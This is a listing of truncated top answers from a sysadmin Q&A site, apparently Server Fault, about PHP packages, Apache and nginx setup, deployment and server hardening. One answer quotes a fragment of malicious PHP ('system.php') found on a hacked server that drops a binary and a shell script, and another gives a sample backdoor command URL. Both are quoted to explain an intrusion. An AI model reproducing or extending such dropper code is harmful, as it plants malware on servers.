Hot answers tagged

53

First of all you should check what websites are hosted on the server # apachectl -t -D DUMP_VHOSTS Then when you will find a site check corresponding configuration file for the option DocumentRoot. For example # apachectl -t -D DUMP_VHOSTS VirtualHost configuration: wildcard NameVirtualHosts and _default_ servers: *:80 is a ...


22

There are a lot of things you could be doing to improve your deployment process. A few of them are: Ensure your code is well tested. Ideally you should have 100% unit test coverage, as well as integration testing for every conceivable scenario. If you haven't got this, you should probably drop everything and get this taken care of. Look into ...


12

sudo nano /etc/apt/sources.list add deb http://packages.dotdeb.org wheezy all deb-src http://packages.dotdeb.org wheezy all deb http://packages.dotdeb.org wheezy-php56-zts all deb-src http://packages.dotdeb.org wheezy-php56-zts all save and run sudo apt-get update sudo apt-get upgrade sudo apt-get install php5 more info here ...


10

By default "php70" (Software Collection) don't install the mod_php. yum install php70-php And check you haven't any other mod_php (such as the one provided by "php" base package)


8

I completely agree with the items you have so far. I used to run such a multi-user setup a few years ago and I basically found the same trade-off: mod_php is fast (partly because everything runs inside the same process) and suexec is slow but secure (because every request forks a new process). I went with suexec, because user isolation was required. ...


8

This might stop some specific backdoors that only accept POST requests. But it will not stop backdoors in general. A backdoor might accept parameters via GET request, e.g. bad.php?command=somecommand. Or it might execute commands sent via a custom HTTP Header.


7

Try this (Ubuntu): sudo add-apt-repository ppa:ondrej/php5-5.6 -y sudo apt-get update sudo apt-get install php5-fpm -y (Update) For Debian Wheezy echo "deb http://packages.dotdeb.org wheezy-php56 all" >> /etc/apt/sources.list.d/dotdeb.list echo "deb-src http://packages.dotdeb.org wheezy-php56 all" >> /etc/apt/sources.list.d/dotdeb.list wget ...


7

I wanted to point out that although this answer works great for older versions, it breaks under recent versions of Apache 2.4 with error code AH00526. ProxyPass and ProxyPassMatch or <Proxy> and <ProxyMatch> cannot be used together within the same worker name. This used to function just fine, so don't know if that was changed by design or if it's ...


6

Install php5 after php5-fpm if you plan to use nginx for example, because php5 needs one of either libapache2-mod-php5, libapache2-mod-php5filter, php5-cgi, or php5-fpm. Apt just picks the first package that satisfies the dependency. $ sudo apt-get install php5-fpm php5


6

You have to run the command using sudo. sudo /etc/my_script.sh Editing the suduoers file doesn't mean each invocation of the script runs as root, merely that they are permitted to do so if invoked correctly. Whether it makes any sense to put a shell script in /etc is a separate question.


6

You installed the EPEL repository for CentOS 6, but you are actually running CentOS 7. Remove the epel-release RPM, and reinstall the correct RPM. Once you have done so, run yum clean metadata to clean out any old metadata relating to the wrong version of EPEL.


6

It seems from what you say that you have a maintenance window from 1 am to 7 am every day the issue is not time but convenience. This is normal and many people just deal with it as part of business. You could have a 2 (or more backend) systems with a front end that directs traffic to whichever is currently live. Once you are happy that a release is going to ...


6

Update the code. Running an application based on old PHP can pose a security risk for your customer.


5

There are separate configuration files for PHP when called via Apache and when called via the CLI. For example, in Debian (at least), these are in /etc/php5/apache2/php.ini and /etc/php5/cli/php.ini, respectively. The fact that you manually declared imagick.so in apache2/php.ini might not mean anything - most distributions have some other way of managing ...


5

Amending the other answers: You should follow the blue-green deployment model. When you want to release a new version you deploy it to an internal staging website. Then, you can run automated tests on the next version production site. When the tests go through you point the load balancer to use the new website. This helps in the following way: Severe ...


5

Another reason ./configure might fail is because you don't have pkg-config installed, like in my case with PHP7 and Debian Jessie: sudo apt-get install pkg-config


5

In Ubuntu 14.04 the file to change user and group in PHP-FPM is: /etc/php5/fpm/pool.d/www.conf. In this file change these parameters: user = www group = www listen.owner = www listen.group = www


5

PHP 5.4 end-of-life date is September 14, 2015. You can find this information on the PHP site, here.


5

<form method="post" action="C:\Inetpub\wwwroot\Drop2.php"> C:\ is not a URL, it's a path. <form method="post" action="Drop2.php"> would be better, assuming the files are in the same folder.


5

After digging in the source codes of offended PHP scripts and googling (this thread), I have found an explanation. This is part of system.php code which I have found: <?php // ... $n = file_put_contents("./libworker.so", $so); $AU=@$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"]; $HBN=basename("/usr/bin/host"); $SCP=getcwd(); @file_put_contents("1.sh", ...


4

There are a lot of good technical answers provided already (please also have a look here: http://security.stackexchange.com/q/77/52572 and Tips for Securing a LAMP Server), but I still would like to mention here an important point (from yet another perspective) about the security: security is a process. I'm sure you have considered this already, but I still ...


4

Everything you have so far seems well thought out. The only thing that I could see as a problem is the fact most exploits seek to gain root access in one way or another. So even if each site and its corresponding processes and scripts are jailed correctly and everything has its own user and permissions a hacker with root couldn't care less, they will just ...


4

I would suggest having each site run under its own Apache daemon, and chrooting Apache. All system php function will fail since the Apache chroot environment will not have access to /bin/sh. This also means that php's mail() function won't also work, but if you're using an external mail provider to send out mail from your email application, then this ...


4

SELinux might be helpful with mod_selinux. A quick howto is featured here: How can I use SELinux to confine PHP scripts? As the instructions are a little dated, I checked whether this works on RHEL 7.1: I've used Fedora 19's version and compiled with mock against RHEL 7.1 + EPEL. YMMV if you use the basic epel config mock ships with: [mockbuild@fedora ...


4

I finally figured this out. You need to give the docker container the capability to use ptrace. Simply adding --cap-add SYS_PTRACE to the docker run command fixed this problem for me.


4

From the manual you know what the setting does: Syntax: server_tokens on | off; Default: server_tokens on; Context: http, server, location Enables or disables emitting nginx version in error messages and in the “Server” response header field. So your options are: generate an error message, for instance if you don't have a custom 404 ...


4

FYI for those looking to install PHP 7 using the remi-php70 repository (now that PHP 7.0.0 has been released), you can install packages using the same package names you know and love, for example: php php-cli php-common php-devel php-fpm php-gd php-mbstring php-pdo etc.


4

Confirm that your LAMP server is actually routing mail based on MX record and is not configured with a static mailroute to the old Exchange server. For sendmail you would check for MAIL_HUB or SMART_HOST settings or the mailertable feature, for Exim route_list settings.


4

For me, OSX's builtin php is configured to use a different unix-socket than homebrew's mysql. Thus it can't connect via localhost which utilizes that socket. I fixed it with a quick hack by symlinking php's configured socket-path to point to the one mysql actually uses. sudo ln -s /tmp/mysql.sock /var/mysql/mysql.sock The following diagnostic commands ...


4

You use both, but in different locations. The first try_files goes in your location / and handles all requests coming into the server. It has nothing to do with security, and is a pretty common setup. The second try_files goes in the PHP location and prevents the attack. Note that this requires that nginx and PHP be reading the same files, on the same ...



Only top voted, non community-wiki answers of a minimum length are eligible